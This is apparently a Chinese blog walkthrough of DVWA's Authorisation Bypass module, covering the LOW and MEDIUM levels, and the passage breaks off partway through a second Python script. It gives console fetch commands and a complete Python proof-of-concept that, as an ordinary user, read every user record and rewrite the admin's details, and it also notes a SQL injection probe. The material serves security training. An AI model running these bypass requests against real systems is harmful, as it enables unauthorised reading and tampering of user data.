文章目录
- 一、概述
- [二、LOW 级别 ------ 主页面与功能文件均无授权检查](#二、LOW 级别 —— 主页面与功能文件均无授权检查)
-
- 1、漏洞描述
- 2、查看网页源代码
- 3、分析网页源代码
- 4、操作步骤
-
- [(1)观察 LOW 下的主页面(普通用户视角)](#(1)观察 LOW 下的主页面(普通用户视角))
- [(2)用 F12 直接观察两条通路](#(2)用 F12 直接观察两条通路)
- [(3)垂直越权:把 admin 改了](#(3)垂直越权:把 admin 改了)
- 5、Python------PoC脚本
- 6、AI视角下的授权绕过检测
- [7、 LOW级别------小结](#7、 LOW级别——小结)
- [三、MEDIUM 级别 ------ 入口有检查,功能文件仍裸奔](#三、MEDIUM 级别 —— 入口有检查,功能文件仍裸奔)
-
- [1、 漏洞描述](#1、 漏洞描述)
- 2、查看网页源代码
- 3、分析网页源代码
- [4、 操作步骤](#4、 操作步骤)
-
- (1)观察主页面入口检查(普通用户视角)
- (2)绕过:直接访问读通道
- [(3)绕过:Console 操作写通道](#(3)绕过:Console 操作写通道)
- 5、Python------PoC脚本
- 6、AI视角下的授权绕过检测
-
- (1)功能级访问控制的智能检测:从"找页面"到"建清单"
- (2)"半拉子检查"的模式识别
- [(3)AI 辅助的回归对抗](#(3)AI 辅助的回归对抗)
- 7、MEDIUM级别------小结
- [四、HIGH 级别 ------ 半修复:读通道已封,写通道未防](#四、HIGH 级别 —— 半修复:读通道已封,写通道未防)
-
- 1、漏洞描述
- 2、查看网页源代码
- 3、分析网页源代码
- 4、操作步骤
-
- [(1)观察 HIGH 下的拦截面(普通用户视角)](#(1)观察 HIGH 下的拦截面(普通用户视角))
- (2)测试写通道(被忽略的半边)
- (3)交叉验证盲写落库(关键步骤)
- 5、Python------PoC脚本
- 6、AI视角下的授权绕过检测
-
- [(1)不对称防线的自动发现:CRUD 维度的拆分探测](#(1)不对称防线的自动发现:CRUD 维度的拆分探测)
- (2)盲写场景下的证据链编排
- (3)半修复的回归测试模式
- (4)行为遥测视角:盲写的可检测性
- 7、HIGH级别------小结
- [五、Impossible 级别 ------ 功能级授权检查的范本](#五、Impossible 级别 —— 功能级授权检查的范本)
-
- 1、现象观察:六项守卫全通过(双账号实测)
- 2、源码取证:检查点"下沉"到每个功能文件
-
- (1)三道防线的源码布局
- [(2)与 LOW 的结构性对比](#(2)与 LOW 的结构性对比)
- 3、安全分析:为什么它是满分答案
- [4、AI 视角:守卫矩阵的自动验证](#4、AI 视角:守卫矩阵的自动验证)
-
- (1)断言式审计
- (2)无副作用探测设计
- (3)把守卫矩阵固化为回归基线
- [(4)AI 视角的一句话](#(4)AI 视角的一句话)
- 5、Impossible级别------小结
- [六、LOW vs MEDIUM vs HIGH vs Impossible:对比分析](#六、LOW vs MEDIUM vs HIGH vs Impossible:对比分析)
- 七、总结
- 八、AI增强防御建议
-
- 1、智能授权检测
- 2、基于行为的越权检测
- [3、AI 防御架构图](#3、AI 防御架构图)
- 4、实施优先级建议
- [5、本文的 AI 自动化实践](#5、本文的 AI 自动化实践)
- 个人主页 :蒲公英eric
- 专栏传送门 :《DVWA通关全记录:从漏洞复现到安全防御》
- 学习方向:Web安全 / AI安全交叉领域
- 人生格言:安全没有终点,只有不断迭代的防御
📌 本文是专栏「DVWA通关全记录:从漏洞复现到安全防御」的第 16 篇文章。
一、概述
1、什么是授权绕过?
授权绕过(Authorization Bypass)是指攻击者绕过应用程序的访问控制机制,访问或操作超出其权限范围的数据或功能。
认证(Authentication)与授权(Authorization)的区别:
| 概念 | 说明 | 示例 |
|---|---|---|
| 认证 | 验证"你是谁" | 登录时输入用户名和密码 |
| 授权 | 验证"你能做什么" | 普通用户不能修改管理员资料 |
授权绕过的常见类型:
| 类型 | 说明 | 本模块对应场景 |
|---|---|---|
| 水平越权 | 访问同级别其他用户的数据 | gordonb 改写 pablo 的资料 |
| 垂直越权 | 访问更高权限级别的功能 | gordonb 改写 admin 的资料 |
| 直接对象引用 | 通过修改 ID 访问未授权的资源 | JSON 请求体里 id 由攻击者任意指定 |
| 功能级绕过 | 直接访问未授权的功能页面 | 直接访问 get_user_data.php / change_user_details.php |
2、本模块的核心漏洞
DVWA 授权绕过模块的核心漏洞是:授权检查(如果有)只保护"页面",不保护"功能"。
1. 用户访问主页面 /vulnerabilities/authbypass/(入口检查在这一层)
↓
2. 页面里的 authbypass.js 通过 fetch/XHR 调用两个功能文件
↓
3. get_user_data.php(读通道) / change_user_details.php(写通道)
------功能文件本身(大部分级别下)没有授权检查
↓
4. 攻击者跳过主页面,直接访问功能文件
↓
5. 入口检查被完整旁路,未授权读/写全部成立 ✅
这个模块比其他模块更"真实"的地方在于:主页面不是一个静态表单,而是一个由 JavaScript 驱动的迷你用户管理系统 ------页面加载后 authbypass.js 自动 GET get_user_data.php 拉取全量用户列表渲染表格,点击 Update 按钮时以 JSON 格式 POST 到 change_user_details.php。两个后端接口就是本模块的"功能",也是攻击者的真正目标。
二、LOW 级别 ------ 主页面与功能文件均无授权检查
1、漏洞描述
LOW 级别下,授权控制完全不存在:
核心问题:
source/low.php里没有任何代码,只有一段注释,提示读者去研究dvwaHtmlEcho函数------但连dvwaHtmlEcho里也没有针对本模块的检查(只有菜单可见性控制)- 主页面
/vulnerabilities/authbypass/对任何登录用户开放,普通用户能看到完整的用户管理界面 - 读通道
get_user_data.php不检查身份,直接返回users表全量数据(JSON) - 写通道
change_user_details.php不检查身份,JSON POST 即可改写任意user_id的姓名字段------包括 admin
2、查看网页源代码
php
<?php
/*
Nothing to see here for this vulnerability, have a look
instead at the dvwaHtmlEcho function in:
* dvwa/includes/dvwaPage.inc.php
*/
?>
3、分析网页源代码
(1)代码概述
| 组件 | 角色 | 是否有授权检查 |
|---|---|---|
主页面 index.php + source/low.php |
渲染用户管理界面 | ❌ 无 |
dvwaHtmlEcho()(dvwaPage.inc.php) |
页面渲染管线 | ❌ 无(仅菜单隐藏) |
get_user_data.php |
读通道:全量用户 JSON | ❌ 无 |
change_user_details.php |
写通道:JSON POST 改姓名 | ❌ 无(仅检查请求方法) |
(2)漏洞分析
① 漏洞一 ------ 唯一的"防线"是菜单隐藏(安全即隐匿反模式):
非 admin 用户的侧边栏里看不到 Authorisation Bypass 菜单项(L311 的 if 判断),但这只是不显示 ,不是不允许。直接在地址栏输入 URL 即可访问完整页面(实测 gordonb 访问主页面返回 HTTP 200,页面长度 4377 字节,与 admin 的 4470 字节几乎一致)。
② 漏洞二 ------ 读通道无鉴权,全量用户数据泄露:
get_user_data.php 对任意登录用户返回 users 表全量记录。实测 gordonb 在 LOW 下拿到 5 条记录(273 字节 JSON):
json
[{"user_id":"1","first_name":"admin","surname":"admin"},
{"user_id":"2","first_name":"Gordon","surname":"Brown"},
{"user_id":"3","first_name":"Hack","surname":"Me"},
{"user_id":"4","first_name":"Pablo","surname":"Picasso"},
{"user_id":"5","first_name":"Bob","surname":"Smith"}]
admin 的 user_id=1 赫然在列------为后续垂直越权提供了目标 ID。
③ 漏洞三 ------ 写通道无鉴权 + 参数完全可控,水平/垂直越权双双成立:
change_user_details.php 的 UPDATE 语句(官方 master 源码):
php
$query = "UPDATE users SET first_name = '" . $data->first_name .
"', last_name = '" . $data->surname .
"' where user_id = " . $data->id;
三个问题叠加:
- 无授权检查 :不区分当前用户与目标
user_id的关系 id完全可控 :把id从 2 改成 1,就从"改自己"变成"改 admin"------水平越权升级为垂直越权- 无输入过滤,直接拼接 SQL :笔者实测把
first_name传成Go'rdon,服务端直接回显<pre>You have an error in your SQL syntax...</pre>------本模块还叠加了一个可利用的 SQL 注入漏洞(属于交叉发现,本文聚焦授权绕过,仅在此点到为止)
4、操作步骤
⚠️ 踩坑 1(最容易犯):必须用非 admin 账号测试。 admin 对所有端点永远返回 200,任何级别、任何端点在 admin 视角下看起来都"正常" ,你根本观察不到"绕过"与"拦截"的差别。本模块的正确打开方式是用普通用户
gordonb / abc123登录------这是模块页面正文里官方亲自给出的账号。⚠️ 踩坑 2:安全等级 Cookie 是会话级的,每个新会话都要重新设级。 DVWA 的安全级别存在
securityCookie 里,不跟用户绑定。切换账号(或新开浏览器会话)后,必须重新进 DVWA Security 设置等级;另外实测发现任何登录用户都能访问 security.php 给自己设级(gordonb 也能把等级设成 low/medium/high),这个"越权设级"本身就是 DVWA 的教学简化,不必大惊小怪。
(1)观察 LOW 下的主页面(普通用户视角)
- 用
gordonb / abc123登录 DVWA,将安全级别设置为 Low - 直接在地址栏访问
http://dvwa.cc/vulnerabilities/authbypass/
预期结果:页面正常渲染(HTTP 200),标题下方是完整用户管理表格------ID / First Name / Surname / Update 四列,5 个用户(包括 admin)每人一行,每行一个 Update 按钮。
对照实验(建议做一次) :同样路径用 admin 登录访问,页面几乎一样(实测长度差 93 字节,来自侧边栏菜单项与安全级别控件)。这说明 LOW 下普通用户与 admin 在本模块里没有任何权限差异。
(2)用 F12 直接观察两条通路
- 按 F12 → Network 标签页,刷新页面,可以看到页面加载后自动发出的
get_user_data.php请求,响应就是全量用户 JSON - 按 F12 → Console,手动复现页面 JS 的两个行为:
javascript
// 读通道:直接拉全量用户数据
fetch('get_user_data.php').then(r => r.json()).then(console.log)
// 写通道:以 JSON POST 改 user_id=2 的姓氏(先小改自己,避免破坏环境)
fetch('change_user_details.php', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({id: 2, first_name: 'Gordon', surname: 'Pwn3d'})
}).then(r => r.json()).then(console.log)
// 返回 {result: "ok"}
// 读回核验:姓氏已变成 Pwn3d
fetch('get_user_data.php').then(r => r.json()).then(console.log)
预期结果:第一个 fetch 打出 5 个用户;第二个 fetch 返回 {result: "ok"};第三个 fetch 里 user_id=2 的 surname 已是 Pwn3d------写入真实落库 。验证完把 surname 改回 Brown 还原现场。
⚠️ 踩坑 3:
change_user_details.php的请求体必须是 JSON,表单编码会被拒绝。 实测用表单编码 POSTuser_id=2&first_name=Gordon&surname=Pwn3d,服务端返回 125 字节的{"result":"fail","error":"Invalid format, expecting \"{id: {user ID}, first_name: ...}"}------因为后端用file_get_contents('php://input')+json_decode()解析请求体。参数名也不是表单思路里的user_id,而是id。这个坑是笔者第一轮实测亲踩的(当时连续 8 次 "Invalid format")。⚠️ 踩坑 4:GET
change_user_details.php不会返回任何表单。 它返回 59 字节的{"result":"fail","error":"Only POST requests are accepted"}。如果照搬原文教程"GET 即可看到修改表单"的步骤,只会拿到这句 JSON,然后误以为"没有漏洞"。真正的表单在主页面 里,由authbypass.js动态渲染。
(3)垂直越权:把 admin 改了
- 在 Console 里把上面写通道 fetch 的
id改成1、first_name改成admin、surname改成PwnedAdmin,执行 - 再执行读通道 fetch,观察
user_id=1的变化
预期结果:返回 {result: "ok"},读回时 admin 的 surname 已变成 PwnedAdmin------普通用户改写管理员资料成功 。这是本模块最直观的垂直越权证据。验证完改回 admin / admin 还原。
反面对照(已实测复现) :如果用表单编码、或把参数名写成
user_id、或忘记Content-Type: application/json,都会得到 "Invalid format" 而不是 "ok"。"拿到了 ok" 与 "数据真的变了" 是两回事------每次写入后务必读回核验。
5、Python------PoC脚本
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
====================================================================
DVWA Authorisation Bypass ------ LOW 级别 PoC(主页面与功能文件均无授权检查)
--------------------------------------------------------------------
漏洞原理:
LOW 级别下,授权检查完全缺失:
① 主页面 /vulnerabilities/authbypass/ 对任何登录用户开放------
source/low.php 只有一段注释(提示去看 dvwaHtmlEcho),
连"是否为 admin"的判断都没有;
② 功能文件 get_user_data.php 在 low 下不检查用户身份,
直接返回 users 表全量数据(JSON);
③ 功能文件 change_user_details.php 在 low 下同样不检查身份,
接收 JSON POST 即可改写任意 user_id 的 first_name/last_name。
由此形成两条完整的越权链:
水平越权:gordonb 改自己的资料(合法),也能改别人(非法);
垂直越权:gordonb 直接改写 admin 的资料------普通用户触碰管理员数据。
验证方法(读 + 写双通道验证):
① 以非 admin 用户 gordonb/abc123 登录(DVWA 默认内置账号);
② 通过官方 security.php 接口把安全等级设为 low;
③ 直接 GET 两个功能文件,确认无需任何授权即可读全量用户数据;
④ 用 JSON POST 实际改写 gordonb 自己与 admin 的姓名字段,
每次写入后读回核验,验证完立即还原------"写入成功"以数据落库为准,
而不是只看 HTTP 状态码。
使用方法:
python poc_authbypass_low.py -t http://dvwa.cc [-u gordonb] [-p abc123]
免责声明:本脚本仅供本地授权靶场测试使用,禁止用于未授权目标!
====================================================================
"""
import argparse
import json
import re
import sys
import requests
class DVWASession:
"""DVWA 会话封装:登录、安全等级设置等前置操作统一在此完成。"""
TOKEN_RE = re.compile(
r"name=['\"]user_token['\"]\s*value=['\"]([0-9a-f]{32})['\"]", re.I)
def __init__(self, base_url, username, password):
self.base_url = base_url.rstrip("/")
self.username = username
self.password = password
self.http = requests.Session()
self.http.headers.update(
{"User-Agent": "Mozilla/5.0 (DVWA-AuthBypass-PoC)"})
# ---------------- 内部工具 ----------------
def _get(self, path, **kw):
return self.http.get(self.base_url + path, timeout=10, **kw)
def _post(self, path, data=None, **kw):
return self.http.post(self.base_url + path, data=data, timeout=10, **kw)
def _fetch_token(self, path):
"""访问指定页面并提取 user_token;取不到返回 None(自适应)。"""
html = self._get(path).text
m = self.TOKEN_RE.search(html)
return m.group(1) if m else None
def _is_login_page(self, html):
return bool(re.search(r"name=['\"]username['\"]", html))
# ---------------- 前置步骤 ----------------
def login(self):
"""两步登录:先取登录页 token,再携带 token 提交账号密码。"""
data = {"username": self.username, "password": self.password,
"Login": "Login"}
token = self._fetch_token("/login.php")
if token:
data["user_token"] = token
self._post("/login.php", data)
html = self._get("/index.php").text
if self._is_login_page(html):
raise RuntimeError("登录失败:请检查用户名/密码或目标地址")
def set_security(self, level):
"""通过官方 security.php 接口设置安全等级,用 Cookie 校验结果。"""
data = {"security": level, "seclev_submit": "Submit"}
token = self._fetch_token("/security.php")
if token:
data["user_token"] = token
self._post("/security.php", data)
current = self.http.cookies.get("security")
if current != level:
raise RuntimeError(f"安全等级设置失败,Cookie 中 security={current}")
# ---------------- 漏洞接口封装 ----------------
def get_user_data(self):
"""GET 功能文件1:全量用户数据(JSON)。"""
return self._get("/vulnerabilities/authbypass/get_user_data.php")
def change_user_details(self, user_id, first_name, surname):
"""POST 功能文件2:改写指定用户的姓名(JSON 请求体)。"""
return self._post(
"/vulnerabilities/authbypass/change_user_details.php",
json={"id": user_id, "first_name": first_name, "surname": surname})
def run(base_url, username, password):
print("[*] 目标地址:", base_url)
print("[*] 测试账号(非 admin):", username)
print("-" * 60)
# ① 登录并设置安全等级
dvwa = DVWASession(base_url, username, password)
print("[*] 步骤1: 登录 DVWA(普通用户) ...")
dvwa.login()
print("[+] 登录成功")
print("[*] 步骤2: 通过官方接口设置安全等级 low ...")
dvwa.set_security("low")
print("[+] 安全等级已设为 low(Cookie 校验通过)")
print("-" * 60)
# ② 主页面基线:low 下不拦截
print("[*] 步骤3: 直接访问主页面 /vulnerabilities/authbypass/ ...")
r = dvwa._get("/vulnerabilities/authbypass/")
if r.status_code == 200 and "user manager" in r.text:
print(f"[+] 主页面未做任何拦截(HTTP {r.status_code}),"
f"普通用户可见完整用户管理界面")
else:
print(f"[-] 主页面响应异常:HTTP {r.status_code},结果需人工复核")
print("-" * 60)
# ③ 读通道:get_user_data.php
print("[*] 步骤4: 直接 GET 功能文件 get_user_data.php ...")
r = dvwa.get_user_data()
users = []
try:
users = json.loads(r.text)
except json.JSONDecodeError:
pass
if r.status_code == 200 and users:
print(f"[+] 读通道绕过成功(HTTP {r.status_code}),"
f"无需授权读到 {len(users)} 条用户记录:")
for u in users:
print(f" user_id={u['user_id']:>2} {u['first_name']} {u['surname']}")
print(" ↑ admin 的记录也在其中------数据库全量数据对普通用户可见")
else:
print(f"[-] 读通道未绕过:HTTP {r.status_code},响应: {r.text[:80]}")
print("-" * 60)
# ④ 写通道:change_user_details.php(水平越权:改自己)
print("[*] 步骤5: JSON POST 改写 user_id=2(gordonb 自己)Brown → Pwn3d ...")
r = dvwa.change_user_details(2, "Gordon", "Pwn3d")
print(f" 服务端返回: {r.text.strip()}")
after = json.loads(dvwa.get_user_data().text)
row2 = next((u for u in after if u["user_id"] == "2"), {})
if r.json().get("result") == "ok" and row2.get("surname") == "Pwn3d":
print("[+] 水平越权写入成功:数据已真实落库")
else:
print("[-] 写入未生效,结果需人工复核")
# ⑤ 写通道:垂直越权(改 admin)
print("[*] 步骤6: JSON POST 改写 user_id=1(admin)admin → PwnedAdmin ...")
r = dvwa.change_user_details(1, "admin", "PwnedAdmin")
print(f" 服务端返回: {r.text.strip()}")
after = json.loads(dvwa.get_user_data().text)
row1 = next((u for u in after if u["user_id"] == "1"), {})
if r.json().get("result") == "ok" and row1.get("surname") == "PwnedAdmin":
print("[+] 垂直越权写入成功:普通用户改写了 admin 的资料!")
else:
print("[-] 写入未生效,结果需人工复核")
print("-" * 60)
# ⑥ 还原现场
print("[*] 步骤7: 还原现场(admin → admin,Gordon → Brown) ...")
dvwa.change_user_details(1, "admin", "admin")
dvwa.change_user_details(2, "Gordon", "Brown")
after = json.loads(dvwa.get_user_data().text)
ok = ("Pwn3d" not in json.dumps(after)
and "PwnedAdmin" not in json.dumps(after))
print("[+] 现场已还原" if ok else "[-] 还原失败,请手动检查 users 表")
print("-" * 60)
# ⑦ 结论
print("[*] 结论:")
print(" LOW 级别主页面与两个功能文件均无授权检查,")
print(" 普通用户可读全量用户数据、可改写包括 admin 在内的任意用户资料,")
print(" ------ 水平与垂直越权全部成立,授权控制不存在。")
def main():
parser = argparse.ArgumentParser(
description="DVWA Authorisation Bypass LOW 级别 PoC(仅供授权靶场使用)")
parser.add_argument("-t", "--target", default="http://dvwa.cc",
help="DVWA 根地址(默认 http://dvwa.cc)")
parser.add_argument("-u", "--user", default="gordonb",
help="登录用户名(需非 admin,默认 gordonb)")
parser.add_argument("-p", "--password", default="abc123",
help="登录密码(默认 abc123)")
args = parser.parse_args()
print("⚠️ 警告:本脚本仅供本地授权靶场测试使用!")
print("=" * 60)
try:
run(args.target, args.user, args.password)
except requests.RequestException as e:
print(f"[-] 网络请求失败: {e}")
sys.exit(1)
except RuntimeError as e:
print(f"[-] {e}")
sys.exit(1)
if __name__ == "__main__":
main()
脚本说明
(1)总体思路。 本脚本采用"主页面基线 → 读通道验证 → 写通道验证 → 数据落库核验 → 还原现场 "五段式验证法:先以普通用户身份确认主页面完全不设防,再分别验证读(全量数据泄露)与写(改自己+改 admin)两条通路;关键设计是每一次写入都用读回核验收尾 ------服务端返回 {"result":"ok"} 只代表"请求被接受",必须从 get_user_data.php 读回数据确认真实落库,才算"越权成立"。全程自动还原现场,不给靶场留下脏数据。
(2)功能模块划分。
| 功能模块 | 说明 |
|---|---|
DVWASession 类 |
会话封装:两步登录(user_token 自适应提取)、security.php 设级并用 Cookie 校验结果 |
get_user_data() |
读通道封装:GET 全量用户 JSON |
change_user_details() |
写通道封装:JSON 请求体 POST(requests 的 json= 参数自动设置 Content-Type),这是与原教程脚本的差异所在 |
| 数据落库核验 | 每次写入后重新 GET 用户表,比对目标字段是否真的变化 |
主流程 run() |
登录 → 设级 → 主页面基线 → 读通道 → 水平越权 → 垂直越权 → 还原 → 结论 |
说明:脚本默认凭据是 gordonb / abc123 而不是 admin------授权绕过的验证必须站在"被限制的用户"视角,这一点与 JavaScript 模块的 PoC(默认 admin)有本质区别。
(3)逐步逻辑讲解。
首先,登录与设级。 与上一篇同款的 DVWASession:GET /login.php 正则自适应提取 user_token,POST 登录后访问 /index.php 确认不再出现登录表单;设级走官方 security.php,用 Cookie 中的 security 值客观校验。实测 gordonb 也可以自由设级(DVWA 的安全级别是 Cookie 级的,与用户身份无关)。
其次,主页面基线与读通道。 脚本先访问主页面确认 HTTP 200 且包含 "user manager"(LOW 下无任何拦截),再 GET get_user_data.php 并 json.loads 解析------解析成功本身就证明返回的是数据而不是错误信息。打印逐条用户记录,让"全量数据泄露"看得见摸得着。
最后,写通道与落库核验。 写入用 json= 参数发送 {"id":2,"first_name":"Gordon","surname":"Pwn3d"};核验用 next((u for u in after if u["user_id"] == "2"), {}) 从读回数据中取出该行比对 surname。注意一个细节:get_user_data.php 返回的 user_id 是字符串 (JSON 里是 "2" 而不是 2),比对时用 == "2" 而不是 == 2------这也是笔者实测踩过的小坑。垂直越权同理,把 id 换成 1 改写 admin,最后统一还原并复核还原结果。
(4)验证判定逻辑。 LOW 下两条通路都没有任何身份判断,"读回全量数据"与"写入后落库"都是确定性结果而非概率事件;脚本对每个环节都设计了明确的成功判据(状态码 + 关键字 + 数据比对三重),任何一环失败都会输出"结果需人工复核"而不是静默通过------让结论"可解释"而不仅仅是"可执行"。
6、AI视角下的授权绕过检测
(1)攻击面自动发现:从"页面"到"功能文件"的展开
传统漏洞扫描器以"页面"为单位爬取,会把这个模块记为"1 个页面,无参数,无表单"然后跳过------因为表单是 JS 动态渲染的,HTML 源码里的 <tbody> 是空的。AI 自动化检测的第一步改进就是把前端行为纳入攻击面建模 ,本文的踩点脚本 recon_authbypass.py 实际执行的正是这条链路:
| 步骤 | AI 行为 | 实测产出 |
|---|---|---|
| ① 页面级侦察 | GET 主页面,解析 HTML 里的 <script src> 引用 |
发现 authbypass.js(1842 字节) |
| ② 静态行为提取 | 对 JS 做"请求发射点"分析:提取 fetch/XHR/open 的目标与方法 |
发现两条内部端点:GET get_user_data.php、POST change_user_details.php(JSON 体) |
| ③ 端点直连探测 | 携带普通用户会话直接访问每个端点 | 读通道 200/273 字节;写通道 GET 200/59 字节 Only POST requests are accepted |
| ④ 请求格式推断 | 从报错信息 Invalid format, expecting "{id: ...}" 反推请求体格式 |
确定必须 JSON POST,参数 id/first_name/surname |
这个流程的关键启发是:功能文件不是被"猜"出来的,而是从 authbypass.js 里"读"出来的------前端代码是后端接口的说明书。第 ④ 步尤其重要:AI 把一次失败的请求(Invalid format)当作信息源而不是终结信号,从错误提示里反推出正确的请求格式,这正是自动化工具与智能检测的分水岭。
(2)权限矩阵自动构建:双角色差分探测
发现端点之后,AI 检测的核心方法是构建"角色 × 端点"权限矩阵并做差分 。本文 recon_authbypass.py 的 PHASE 1/PHASE 2 就是手工版实现:
| 探测项 | admin 会话 | gordonb 会话 | 差分结论 |
|---|---|---|---|
| 主页面 | 200 (4470 B) | 200 (4377 B) | 无权限差异 → 主页面不设防 |
| get_user_data.php | 200 (273 B) | 200 (273 B) | 无权限差异 → 读通道越权 |
| change_user_details.php | 200 (59 B) | 200 (59 B) | 无权限差异 → 写通道越权 |
判据规则很朴素但极有效:同一个端点,高权限角色与低权限角色得到"语义等价"的响应(状态码、长度、数据量一致),该端点就大概率缺少授权检查 。AI 的增量价值在于三点:一是自动选对探测角色(用一个只读的低权限账号做基准,而不是拿 admin 自测------admin 视角下一切"正常",这正是踩坑 1 的自动化表述);二是对响应做语义等价判断(4470 与 4377 字节不同,但都包含 user_table 骨架与 "user manager" 文案,语义等价;而非等价响应如 403/12 字节会被立刻识别为"有检查");三是把矩阵结果翻译成风险语言("任何登录用户可读写任意用户资料")。
(3)写入型验证的安全护栏
读通道验证无副作用,写通道验证却会改数据。AI 驱动的写入验证需要内置护栏,本文 PoC 的三条护栏可以直接复用为工程规范:先改自己再改别人 (user_id=2 优先于 user_id=1,缩小误伤半径)、写后必读回核验 (区分 "ok" 与 "落库")、验证后立即还原并复核还原结果 (Pwn3d/PwnedAdmin 关键字清零才算收尾)。
(4)交叉漏洞的顺手捕获
写通道验证时把 first_name 置为 Go'rdon,AI 从响应前缀 <pre>You have an error in your SQL syntax 即可自动归类出第二个漏洞------SQL 注入(UPDATE 型、无过滤)。一次授权检测同时产出"越权 + 注入"两个发现,这种交叉标记能力正是把检测脚本升级为"审计代理"的标志。
7、 LOW级别------小结
LOW 级别的授权控制完全不存在:
- 唯一的"防线"是菜单项对非 admin 隐藏(安全即隐匿反模式)
- 主页面、读通道、写通道三层全部对普通用户开放
- 普通用户可读全量用户数据,可改写包括 admin 在内的任意用户资料
- 附带发现 UPDATE 语句直接拼接输入的 SQL 注入
一句话总结:LOW 级别的授权检查形同虚设------攻击者甚至不需要"绕过"什么,直接走进去就行;真正需要攻破的只是请求格式这个"工程门槛"。
三、MEDIUM 级别 ------ 入口有检查,功能文件仍裸奔
1、 漏洞描述
MEDIUM 级别在主页面入口加了授权检查,但功能文件一行代码都没改:
核心机制:
source/medium.php在页面组装早期判断dvwaCurrentUser() != "admin",非 admin 直接Unauthorised+ 403- 注释里官方"好心"提示了两个问题文件:
get_user_data.php和change_user_details.php - 两个功能文件在 medium 下依旧不做任何身份检查------检查与功能分离的结构性问题原封未动
核心问题:把门的是"页面",干活的是"文件"。门再严,直接走进工作间就行了。
2、查看网页源代码
php
<?php
/*
Only the admin user is allowed to access this page.
Have a look at these two files for possible vulnerabilities:
* vulnerabilities/authbypass/get_user_data.php
* vulnerabilities/authbypass/change_user_details.php
*/
if (dvwaCurrentUser() != "admin") {
print "Unauthorised";
http_response_code(403);
exit;
}
?>
3、分析网页源代码
(1)代码概述
| 组件 | MEDIUM 下的行为 | 与 LOW 的差异 |
|---|---|---|
| 主页面(source/medium.php 检查) | 非 admin → 403 Unauthorised | ✅ 新增入口检查 |
get_user_data.php |
非 admin 仍返回全量 JSON(273 B) | ❌ 无差异 |
change_user_details.php |
非 admin 仍可 JSON POST 改任意用户 | ❌ 无差异 |
(2)漏洞分析
① 漏洞一 ------ 入口检查只保护"渲染",不保护"数据与功能":
主页面检查拦住的是"看用户管理界面"这个行为,而界面的两根数据管道(读/写端点)谁都没拦。用户管理系统的全部价值在管道里,页面只是个壳。
② 漏洞二 ------ 直接访问功能文件即完整旁路:
实测 gordonb 在 medium 下直接 GET get_user_data.php:HTTP 200、273 字节全量 JSON,与 LOW 下逐字节一致。入口检查形同虚设。
③ 漏洞三 ------ 写通道仍然无鉴权、无过滤:
change_user_details.php 在 medium 下与 LOW 完全一致:JSON POST 即可改写任意用户。实测 gordonb 改写 admin 姓氏成功并读回确认。
4、 操作步骤
⚠️ 踩坑 5:先用主页面"确认拦截",再做"绕过"------顺序不能反。 如果跳过第 (1) 步直接访问功能文件,你永远无法展示"绕过"这个动作本身------没有"403 被拦"作为对照,"200 拿到数据"就只是普通访问。渗透报告的说服力来自对照组。
(1)观察主页面入口检查(普通用户视角)
- 用
gordonb / abc123登录 DVWA,将安全级别设置为 Medium - 访问
http://dvwa.cc/vulnerabilities/authbypass/
预期结果:页面不再渲染 ,只显示一行白底黑字 Unauthorised。按 F12 → Network 可确认状态码 403、响应体仅 12 字节。
观察细节 :此时侧边栏整个 DVWA 框架都没有了(响应里连
<html>都没有),说明检查在页面组装极早期就exit了------这也是"检查在 source 文件里、require_once 时执行"的行为证据。
(2)绕过:直接访问读通道
- 地址栏直接访问
http://dvwa.cc/vulnerabilities/authbypass/get_user_data.php
预期结果:浏览器直接显示/下载全量用户 JSON(273 字节,5 条记录),与 LOW 下完全一致------403 的大门口,数据在侧门哗哗地流。
(3)绕过:Console 操作写通道
- 回到任意已登录页面(如 DVWA 首页)打开 F12 Console,执行:
javascript
// 改 admin 的姓氏(垂直越权)
fetch('/vulnerabilities/authbypass/change_user_details.php', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({id: 1, first_name: 'admin', surname: 'PwnedAdmin'})
}).then(r => r.json()).then(console.log)
// 返回 {result: "ok"}
// 读回核验
fetch('/vulnerabilities/authbypass/get_user_data.php').then(r => r.json()).then(console.log)
预期结果:返回 {result: "ok"},读回可见 admin 的 surname 已是 PwnedAdmin。验证完改回 admin 还原。
⚠️ 踩坑 6:Console 里 fetch 用绝对路径
/vulnerabilities/authbypass/...更稳。 如果当前停留在 DVWA 根路径的页面(如/index.php或/security.php),相对路径get_user_data.php会解析到错误目录返回 404/登录页。用绝对路径可以避免"明明有漏洞却测试失败"的假阴性。
5、Python------PoC脚本
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
====================================================================
DVWA Authorisation Bypass ------ MEDIUM 级别 PoC(入口有检查,功能文件仍裸奔)
--------------------------------------------------------------------
漏洞原理:
MEDIUM 级别只在主页面入口加了授权检查:
① source/medium.php 在页面组装早期判断 dvwaCurrentUser() != "admin",
非 admin 直接 print "Unauthorised" 并返回 403------入口看起来"很安全";
② 但两个功能文件在 medium 下依旧不做任何身份检查:
get_user_data.php 仍然返回全量用户数据(JSON);
change_user_details.php 仍然接受 JSON POST 改写任意用户。
检查与功能分离的老问题原封未动:把门的是"页面",干活的是"文件",
直接访问文件即可让入口检查完全旁路。
验证方法(先证拦截,再证绕过):
① 以非 admin 用户 gordonb/abc123 登录,把安全等级设为 medium;
② 先访问主页面,确认 403 + Unauthorised(证明入口检查确实存在);
③ 再直接 GET get_user_data.php------照样读出全量用户数据;
④ 用 JSON POST 改写 admin 的姓名并读回核验------照样写入成功;
写入成功后立即还原。"入口拦得住页面,拦不住功能"。
使用方法:
python poc_authbypass_medium.py -t http://dvwa.cc [-u gordonb] [-p abc123]
免责声明:本脚本仅供本地授权靶场测试使用,禁止用于未授权目标!
====================================================================
"""
import argparse
import json
import re
import sys
import requests
class DVWASession:
"""DVWA 会话封装:登录、安全等级设置等前置操作统一在此完成。"""
TOKEN_RE = re.compile(
r"name=['\"]user_token['\"]\s*value=['\"]([0-9a-f]{32})['\"]", re.I)
def __init__(self, base_url, username, password):
self.base_url = base_url.rstrip("/")
self.username = username
self.password = password
self.http = requests.Session()
self.http.headers.update(
{"User-Agent": "Mozilla/5.0 (DVWA-AuthBypass-PoC)"})
# ---------------- 内部工具 ----------------
def _get(self, path, **kw):
return self.http.get(self.base_url + path, timeout=10, **kw)
def _post(self, path, data=None, **kw):
return self.http.post(self.base_url + path, data=data, timeout=10, **kw)
def _fetch_token(self, path):
